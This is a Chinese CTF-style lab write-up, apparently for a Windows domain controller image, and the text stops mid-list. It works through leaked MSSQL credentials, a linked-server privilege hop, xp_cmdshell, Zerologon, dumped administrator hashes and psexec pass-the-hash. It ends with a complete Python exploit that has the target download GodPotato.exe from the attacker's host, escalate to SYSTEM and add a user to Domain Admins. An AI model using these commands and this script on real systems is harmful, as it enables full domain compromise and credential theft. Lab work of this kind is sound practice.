&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-50.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;发现存在⼀些服务，我在 Kali 中使⽤ nmap 扫描⽬标时，返回结果显示相关端⼝均为 filtered，可能是因为我kali在vm另⼀套⽹络⾥，可能有隔离。猜测开放了 Web 与 MSSQL 等服务。 &lt;/p&gt;
&lt;h2&gt;目录扫描&lt;/h2&gt;
&lt;p&gt;访问⼀下&lt;/p&gt;
&lt;p&gt;然后⽬录扫描⼀下有没有备份⽂件之类的&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;dirsearch -u http://10.78.22.137/ -e txt,config,bak,old,zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现泄露了⽂件&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://10.78.22.137/poo_connection.txt&quot;&gt;http://10.78.22.137/poo_connection.txt&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-51.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Mssql登录&amp;amp;&amp;amp;嵌套执行&lt;/h2&gt;
&lt;p&gt;给出了mssql登录凭据尝试登录执⾏sql&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-52.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;查看端口&amp;amp;&amp;amp;枚举用户&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-53.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-54.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;验证权限&lt;/h2&gt;
&lt;p&gt;验证mowen身份权限&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-55.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-56.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-57.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-58.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;远程连接(失败)&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-59.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;获取hash&lt;/h2&gt;
&lt;p&gt;写脚本进⾏远程拿⽂件在⼀个终端开启&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-60.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;开另⼀个终端&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-61.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-62.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;离线提取Administrator哈希&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-63.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;Yarn（Zerologon）&lt;/h1&gt;
&lt;h2&gt;前置准备&lt;/h2&gt;
&lt;h3&gt;先定义变量：&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$vm = &amp;#39;f5429e33-3d2c-44cd-8f77-3db2ea0c74ba&amp;#39; $vbox = &amp;#39;C:\Program Files\Oracle\VirtualBox\VBoxManage.exe&amp;#39; $plink = &amp;#39;C:\Program Files\PuTTY\plink.exe&amp;#39; 
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;确认虚拟机在运行：&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;amp; $vbox list runningvms 
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;看网卡模式和现有转发：&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;amp; $vbox showvminfo $vm --machinereadable | Select-String &amp;#39;nic|Forwarding&amp;#39; 
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;看来宾 IP：&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&amp;amp; $vbox guestproperty enumerate $vm | Select-String &amp;#39;V4/IP&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-64.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;服务器转发&lt;/h2&gt;
&lt;p&gt;接下来做服务器转发 本来想用kali 发现两个c段不同不好通信&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-65.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;被迫选择服务器中转&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$vm = &amp;#39;f5429e33-3d2c-44cd-8f77-3db2ea0c74ba&amp;#39;
$vbox = &amp;#39;C:\Program Files\Oracle\VirtualBox\VBoxManage.exe&amp;#39;
&amp;amp; $vbox guestproperty enumerate $vm | Select-String &amp;#39;V4/IP&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-66.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;做中转&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-67.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;安装环境并连接本机&lt;/h2&gt;
&lt;p&gt;安装环境并连接本机:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;python3 -m venv ~/babydc-venv
. ~/babydc-venv/bin/activate
pip install impacket ldap3 pyfiglet termcolor
sudo apt update
sudo apt install -y ldap-utils socat curl
curl -L -o ~/zerologon.py https://raw.githubusercontent.com/VoidSec/CVE-2020-1472/master/cve-2020-1472-exploit.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-68.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;检查确认&lt;/h2&gt;
&lt;p&gt;检查：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;nc -vz 127.0.0.1 21389
nc -vz 127.0.0.1 21445
nc -vz 127.0.0.1 20135
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-69.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;确认 LDAP：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-70.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;本地代理&lt;/h2&gt;
&lt;p&gt;. Ubuntu 启动本地代理&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sudo pkill -f &amp;quot;socat TCP-LISTEN:135&amp;quot; || true
sudo pkill -f &amp;quot;socat TCP-LISTEN:445&amp;quot; || true
sudo pkill -f &amp;quot;socat TCP-LISTEN:49674&amp;quot; || true
sudo pkill -f &amp;quot;socat TCP-LISTEN:49667&amp;quot; || true
sudo nohup socat TCP-LISTEN:135,reuseaddr,fork TCP:127.0.0.1:20135 &amp;gt;/tmp/socat135.log 2&amp;gt;&amp;amp;1 &amp;amp;
sudo nohup socat TCP-LISTEN:445,reuseaddr,fork TCP:127.0.0.1:21445 &amp;gt;/tmp/socat445.log 2&amp;gt;&amp;amp;1 &amp;amp;
sudo nohup socat TCP-LISTEN:49674,reuseaddr,fork TCP:127.0.0.1:34974 &amp;gt;/tmp/socat49674.log 2&amp;gt;&amp;amp;1 &amp;amp;
sudo nohup socat TCP-LISTEN:49667,reuseaddr,fork TCP:127.0.0.1:34967 &amp;gt;/tmp/socat49667.log 2&amp;gt;&amp;amp;1 &amp;amp;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-71.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;监听&lt;/h2&gt;
&lt;p&gt;开启监听：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-72.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;测 SMB&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;python3 - &amp;lt;&amp;lt;&amp;#39;PY&amp;#39;
from impacket.smbconnection import SMBConnection
c = SMBConnection(&amp;#39;CASTLEVANIA&amp;#39;, &amp;#39;127.0.0.1&amp;#39;, sess_port=445, timeout=10)
print(&amp;#39;dialect&amp;#39;, hex(c.getDialect()))
print(&amp;#39;server&amp;#39;, c.getServerName())
print(&amp;#39;domain&amp;#39;, c.getServerDomain())
print(&amp;#39;os&amp;#39;, c.getServerOS())
PY
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-73.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Zerologon&lt;/h2&gt;
&lt;p&gt;打 Zerologon&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;printf &amp;#39;y\n&amp;#39; | python3 ~/zerologon.py -t 127.0.0.1 -n CASTLEVANIA
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-74.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;导出管理员哈希&lt;/h2&gt;
&lt;p&gt;导出管理员哈希：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;secretsdump.py -just-dc-user Administrator -no-pass &amp;#39;XMCVE.local/CASTLEVANIA$@127.0.0.1&amp;#39; -dc-ip 127.0.0.1 -target-ip 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-75.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;babydc-venv) ubuntu@VM-16-10-ubuntu:~$ secretsdump.py -just-dc-user Administrator -no-pass &amp;#39;XMCVE.local/CASTLEVANIA$@127.0.0.1&amp;#39; -dc-ip 127.0.0.1 -target-ip 127.0.0.1
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:13e54f64708d675c0a54eb4b40e2ca21b2fcb3e6298969d741fc6e70a9367786
Administrator:aes128-cts-hmac-sha1-96:aafdd9e5c02b41dece2a83b2d9b4439c
Administrator:des-cbc-md5:80584683e63d5845
[*] Cleaning up...
(babydc-venv) ubuntu@VM-16-10-ubuntu:~$
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;验证高权限命令执行&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;psexec.py -hashes :d94f9831271e229dbc6e712097b63168 &amp;#39;XMCVE.local/Administrator@127.0.0.1&amp;#39; &amp;quot;cmd.exe /c whoami &amp;amp; hostname&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-76.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(babydc-venv) ubuntu@VM-16-10-ubuntu:~$ psexec.py -hashes :d94f9831271e229dbc6e712097b63168 &amp;#39;XMCVE.local/Administrator@127.0.0.1&amp;#39; &amp;quot;cmd.exe /c whoami &amp;amp; hostname&amp;quot;
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on 127.0.0.1.....
[*] Found writable share ADMIN$
[*] Uploading file XWajdGZq.exe
[*] Opening SVCManager on 127.0.0.1.....
[*] Creating service kiue on 127.0.0.1.....
[*] Starting service kiue.....
[!] Press help for extra shell commands                                                                                                                                            nt authority\system
[*] Process cmd.exe /c whoami &amp;amp; hostname finished with ErrorCode: 0, ReturnCode: 0
[*] Opening SVCManager on 127.0.0.1.....
CASTLEVANIA
[*] Stopping service kiue.....
[*] Removing service kiue.....
[*] Removing file XWajdGZq.exe.....
(babydc-venv) ubuntu@VM-16-10-ubuntu:~$
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;成功获得shell&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Administrator:aes256-cts-hmac-sha1-96:13e54f64708d675c0a54eb4b40e2ca21b2fcb3e6298969d741fc6e70a9367786
Administrator:aes128-cts-hmac-sha1-96:aafdd9e5c02b41dece2a83b2d9b4439c
Administrator:des-cbc-md5:80584683e63d5845
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;空白(土豆提权)&lt;/h1&gt;
&lt;h2&gt;题目分析&lt;/h2&gt;
&lt;p&gt;靶机对外开放了 &lt;code&gt;80&lt;/code&gt;、&lt;code&gt;445&lt;/code&gt;、&lt;code&gt;1433&lt;/code&gt;、&lt;code&gt;25&lt;/code&gt;。&lt;code&gt;80&lt;/code&gt; 口只有一个很简单的 IIS 默认站点，首页没有可利用逻辑，但站点目录里放了一个明文连接配置，直接给出 SQL 登录信息：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;server=localhost;
user=wuwupor;
password=lovlyBaby
database=master
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先用这组账号连接 SQL Server，可以看到当前登录只是 &lt;code&gt;master&lt;/code&gt; 里的 &lt;code&gt;guest&lt;/code&gt;，本身不是 &lt;code&gt;sysadmin&lt;/code&gt;。问题的关键在 linked server。枚举 &lt;code&gt;sys.servers&lt;/code&gt; 之后可以看到本机额外配置了两个 linked server：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;SELECT name, product, provider, data_source, is_linked, is_remote_login_enabled
FROM sys.servers;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果里有：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;POO_CONFIG
POO_PUBLIC
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;继续直接在 linked server 上执行查询，能看到两个 linked server 的远端上下文完全不同：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;EXEC (&amp;#39;SELECT @@SERVERNAME AS server_name,
             SYSTEM_USER   AS current_login,
             ORIGINAL_LOGIN() AS original_login,
             IS_SRVROLEMEMBER(&amp;#39;&amp;#39;sysadmin&amp;#39;&amp;#39;) AS is_sysadmin&amp;#39;) AT POO_CONFIG;

EXEC (&amp;#39;SELECT @@SERVERNAME AS server_name,
             SYSTEM_USER   AS current_login,
             ORIGINAL_LOGIN() AS original_login,
             IS_SRVROLEMEMBER(&amp;#39;&amp;#39;sysadmin&amp;#39;&amp;#39;) AS is_sysadmin&amp;#39;) AT POO_PUBLIC;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;返回结果里：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;POO_CONFIG -&amp;gt; current_login = poo_config, is_sysadmin = 0
POO_PUBLIC -&amp;gt; current_login = sa,         is_sysadmin = 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;到这里利用链已经很清楚了。外部只要持有 &lt;code&gt;wuwupor / lovlyBaby&lt;/code&gt;，就能通过 &lt;code&gt;POO_PUBLIC&lt;/code&gt; 借壳成 &lt;code&gt;sa&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;SQL 利用&lt;/h2&gt;
&lt;p&gt;确认配置项时还能看到 &lt;code&gt;xp_cmdshell&lt;/code&gt; 已经开启：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;SELECT name, CAST(value_in_use AS int) AS value_in_use
FROM sys.configurations
WHERE name IN (&amp;#39;xp_cmdshell&amp;#39;, &amp;#39;Ole Automation Procedures&amp;#39;, &amp;#39;Ad Hoc Distributed Queries&amp;#39;, &amp;#39;clr enabled&amp;#39;, &amp;#39;remote access&amp;#39;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;于是可以直接通过 &lt;code&gt;POO_PUBLIC&lt;/code&gt; 执行系统命令：&lt;/p&gt;
&lt;p&gt;EXEC (&amp;#39;EXEC xp_cmdshell &amp;#39;&amp;#39;whoami&amp;#39;&amp;#39;&amp;#39;) AT POO_PUBLIC;&lt;/p&gt;
&lt;p&gt;返回身份是：&lt;/p&gt;
&lt;p&gt;xmcve\sqlsvc&lt;/p&gt;
&lt;p&gt;接着看权限：&lt;/p&gt;
&lt;p&gt;EXEC (&amp;#39;EXEC xp_cmdshell &amp;#39;&amp;#39;whoami /priv&amp;#39;&amp;#39;&amp;#39;) AT POO_PUBLIC;&lt;/p&gt;
&lt;p&gt;输出里最关键的一项是：&lt;/p&gt;
&lt;p&gt;SeImpersonatePrivilege    Enabled&lt;/p&gt;
&lt;p&gt;这说明 &lt;code&gt;sqlsvc&lt;/code&gt; 已经满足典型的本地提权条件，只差一条能把 &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; 用起来的链。这里直接使用 &lt;code&gt;GodPotato&lt;/code&gt;，它对 Windows Server 2019 可用。&lt;/p&gt;
&lt;h2&gt;系统提权&lt;/h2&gt;
&lt;p&gt;利用思路非常直接：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;用 &lt;code&gt;xp_cmdshell&lt;/code&gt; 下发 &lt;code&gt;GodPotato.exe&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;让 &lt;code&gt;GodPotato&lt;/code&gt; 以 &lt;code&gt;SYSTEM&lt;/code&gt; 身份执行一条命令&lt;/li&gt;
&lt;li&gt;把已知明文口令的 &lt;code&gt;sqlsvc / Sql!2026&lt;/code&gt; 加进 &lt;code&gt;Domain Admins&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;重新用 &lt;code&gt;sqlsvc / Sql!2026&lt;/code&gt; 发起网络登录，直接拿管理员级远程会话&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;code&gt;GodPotato&lt;/code&gt; 先用 &lt;code&gt;whoami&lt;/code&gt; 验证时，返回结果里已经能看到：&lt;/p&gt;
&lt;p&gt;CurrentUser: NT AUTHORITY\SYSTEM&lt;/p&gt;
&lt;p&gt;然后执行：&lt;/p&gt;
&lt;p&gt;net group &amp;quot;Domain Admins&amp;quot; sqlsvc /add /domain&lt;/p&gt;
&lt;p&gt;命令成功后，重新使用 &lt;code&gt;sqlsvc / Sql!2026&lt;/code&gt; 进行远程执行，就能拿到管理员级 shell。这里用 &lt;code&gt;psexec&lt;/code&gt; 验证，返回结果是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;nt authority\system
CASTLEVANIA
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功拿到admin shell&lt;/p&gt;
&lt;h2&gt;Exp&lt;/h2&gt;
&lt;p&gt;下面给出完整利用脚本。脚本会先连 SQL，确认 &lt;code&gt;POO_PUBLIC&lt;/code&gt; 可用，然后临时开启一个本地 HTTP 服务，把同目录中的 &lt;code&gt;GodPotato.exe&lt;/code&gt; 下发到目标，执行提权，再自动调用 &lt;code&gt;psexec&lt;/code&gt; 拉起管理员 shell。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;import argparse
import contextlib
import functools
import http.server
import shutil
import socket
import socketserver
import subprocess
import sys
import threading
import time
from pathlib import Path

import pytds


def quote_sql(value: str) -&amp;gt; str:
    return value.replace(&amp;quot;&amp;#39;&amp;quot;, &amp;quot;&amp;#39;&amp;#39;&amp;quot;)


def get_local_ip_for_target(target_ip: str) -&amp;gt; str:
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        sock.connect((target_ip, 1433))
        return sock.getsockname()[0]
    finally:
        sock.close()


class QuietHandler(http.server.SimpleHTTPRequestHandler):
    def log_message(self, fmt: str, *args) -&amp;gt; None:
        pass


class ThreadingHTTPServer(socketserver.ThreadingMixIn, http.server.HTTPServer):
    daemon_threads = True
    allow_reuse_address = True


@contextlib.contextmanager
def serve_directory(directory: Path, host: str):
    handler = functools.partial(QuietHandler, directory=str(directory))
    server = ThreadingHTTPServer((host, 0), handler)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()
    try:
        yield server.server_address[1]
    finally:
        server.shutdown()
        server.server_close()
        thread.join(timeout=1)


class MSSQLExploit:
    def __init__(self, server: str, user: str, password: str, database: str = &amp;quot;master&amp;quot;, port: int = 1433):
        self.conn = pytds.connect(
            server=server,
            database=database,
            user=user,
            password=password,
            port=port,
            validate_host=False,
            use_tz=False,
            autocommit=True,
        )

    def close(self) -&amp;gt; None:
        self.conn.close()

    def run_query(self, query: str):
        cur = self.conn.cursor()
        cur.execute(query)
        if not cur.description:
            return []
        rows = cur.fetchall()
        columns = [c[0] for c in cur.description]
        return [dict(zip(columns, row)) for row in rows]

    def xp_cmdshell_via_public(self, command: str):
        query = f&amp;quot;EXEC (&amp;#39;EXEC xp_cmdshell &amp;#39;&amp;#39;{quote_sql(command)}&amp;#39;&amp;#39;&amp;#39;) AT POO_PUBLIC&amp;quot;
        return self.run_query(query)


def print_rows(title: str, rows) -&amp;gt; None:
    print(f&amp;quot;\n=== {title} ===&amp;quot;)
    if not rows:
        print(&amp;quot;(no rows)&amp;quot;)
        return
    for row in rows:
        print(row)


def ensure_psexec() -&amp;gt; str:
    candidates = [
        shutil.which(&amp;quot;psexec.py&amp;quot;),
        str(Path(sys.executable).with_name(&amp;quot;psexec.py&amp;quot;)),
        str(Path(sys.executable).resolve().parent.parent / &amp;quot;Scripts&amp;quot; / &amp;quot;psexec.py&amp;quot;),
    ]
    for candidate in candidates:
        if candidate and Path(candidate).exists():
            return candidate
    raise FileNotFoundError(&amp;quot;psexec.py not found in PATH or next to the current Python installation.&amp;quot;)


def main() -&amp;gt; int:
    parser = argparse.ArgumentParser(description=&amp;quot;Exploit for codegate babydc.&amp;quot;)
    parser.add_argument(&amp;quot;--target&amp;quot;, default=&amp;quot;192.168.124.7&amp;quot;)
    parser.add_argument(&amp;quot;--sql-user&amp;quot;, default=&amp;quot;wuwupor&amp;quot;)
    parser.add_argument(&amp;quot;--sql-password&amp;quot;, default=&amp;quot;lovlyBaby&amp;quot;)
    parser.add_argument(&amp;quot;--domain&amp;quot;, default=&amp;quot;XMCVE&amp;quot;)
    parser.add_argument(&amp;quot;--pivot-user&amp;quot;, default=&amp;quot;sqlsvc&amp;quot;)
    parser.add_argument(&amp;quot;--pivot-password&amp;quot;, default=&amp;quot;Sql!2026&amp;quot;)
    parser.add_argument(&amp;quot;--command&amp;quot;, default=&amp;quot;cmd.exe&amp;quot;, help=&amp;quot;Command passed to psexec after sqlsvc becomes Domain Admin.&amp;quot;)
    args = parser.parse_args()

    base_dir = Path(__file__).resolve().parent
    godpotato = base_dir / &amp;quot;GodPotato.exe&amp;quot;
    if not godpotato.exists():
        raise FileNotFoundError(f&amp;quot;Missing helper: {godpotato}&amp;quot;)

    target_ip = args.target
    local_ip = get_local_ip_for_target(target_ip)
    print(f&amp;quot;[+] target: {target_ip}&amp;quot;)
    print(f&amp;quot;[+] local callback IP: {local_ip}&amp;quot;)

    sql = MSSQLExploit(target_ip, args.sql_user, args.sql_password)
    try:
        print_rows(
            &amp;quot;linked server context&amp;quot;,
            sql.run_query(
                &amp;quot;EXEC (&amp;#39;SELECT @@SERVERNAME AS server_name, SYSTEM_USER AS current_login, &amp;quot;
                &amp;quot;IS_SRVROLEMEMBER(&amp;#39;&amp;#39;sysadmin&amp;#39;&amp;#39;) AS is_sysadmin&amp;#39;) AT POO_PUBLIC&amp;quot;
            ),
        )
        print_rows(&amp;quot;xp_cmdshell identity&amp;quot;, sql.xp_cmdshell_via_public(&amp;quot;whoami /priv&amp;quot;))

        with serve_directory(base_dir, &amp;quot;0.0.0.0&amp;quot;) as port:
            download_cmd = (
                &amp;#39;powershell -c &amp;quot;try {(New-Object Net.WebClient).DownloadFile(&amp;#39;
                f&amp;quot;&amp;#39;http://{local_ip}:{port}/{godpotato.name}&amp;#39;,&amp;quot;
                &amp;quot;&amp;#39;C:\\Windows\\Temp\\GodPotato.exe&amp;#39;);&amp;quot;
                &amp;#39;Write-Output OK} catch { Write-Output $_.Exception.Message }&amp;quot;&amp;#39;
            )
            print_rows(&amp;quot;download helper&amp;quot;, sql.xp_cmdshell_via_public(download_cmd))
            print_rows(
                &amp;quot;helper presence&amp;quot;,
                sql.xp_cmdshell_via_public(
                    &amp;#39;powershell -c &amp;quot;Get-Item \&amp;#39;C:\\Windows\\Temp\\GodPotato.exe\&amp;#39; | &amp;#39;
                    &amp;#39;Select-Object Name,Length | Format-List&amp;quot;&amp;#39;
                ),
            )

        add_group_cmd = (
            &amp;#39;C:\\Windows\\Temp\\GodPotato.exe -cmd &amp;#39;
            f&amp;#39;&amp;quot;cmd /c net group \\&amp;quot;Domain Admins\\&amp;quot; {args.pivot_user} /add /domain&amp;quot;&amp;#39;
        )
        print_rows(&amp;quot;godpotato group add&amp;quot;, sql.xp_cmdshell_via_public(add_group_cmd))
        time.sleep(2)
    finally:
        sql.close()

    psexec = ensure_psexec()
    user_spec = f&amp;quot;{args.domain}/{args.pivot_user}:{args.pivot_password}@{target_ip}&amp;quot;
    cmd = [sys.executable, psexec, user_spec, args.command]
    print(f&amp;quot;[+] launching psexec: {&amp;#39; &amp;#39;.join(cmd)}&amp;quot;)
    return subprocess.call(cmd)


if __name__ == &amp;quot;__main__&amp;quot;:
    raise SystemExit(main())
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Wadding(土豆提权)&lt;/h1&gt;
&lt;p&gt;题面要求并不是提交在线环境里的字符串 flag，而是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-latex&quot;&gt;对镜像本地搭建并渗透，拿到 Administrator shell，提交 WP 到邮箱审核，通过后才给官方 flag
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这台镜像里我已经拿到了 &lt;code&gt;Administrator&lt;/code&gt; 远程执行权限，当前可复现的管理员 shell 证明如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-latex&quot;&gt;xmcve\administrator
CASTLEVANIA
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;另外，镜像里还残留了一个被删除的本地 flag 文本，在回收站文件内容中可恢复出：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-latex&quot;&gt;FLAG{XMCVE_Castlevania_Bloodlines_DA_Pwned}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但要说明，这个并不是题面承诺的“官方比赛 flag”，因为题面明确说了官方 flag 要在提交 WP 审核后才发放。&lt;/p&gt;
&lt;h2&gt;环境信息&lt;/h2&gt;
&lt;p&gt;题目给了本地 OVA：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-latex&quot;&gt;D:\Install\Bloodstained.ova
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;导入后我把机器改成：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;NIC1 = Host-Only&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;NIC2 = NAT&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这样宿主机可以直接访问客机。&lt;/p&gt;
&lt;p&gt;客机关键信息：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;主机名：&lt;code&gt;CASTLEVANIA&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;域名：&lt;code&gt;XMCVE.local&lt;/code&gt;&lt;/li&gt;
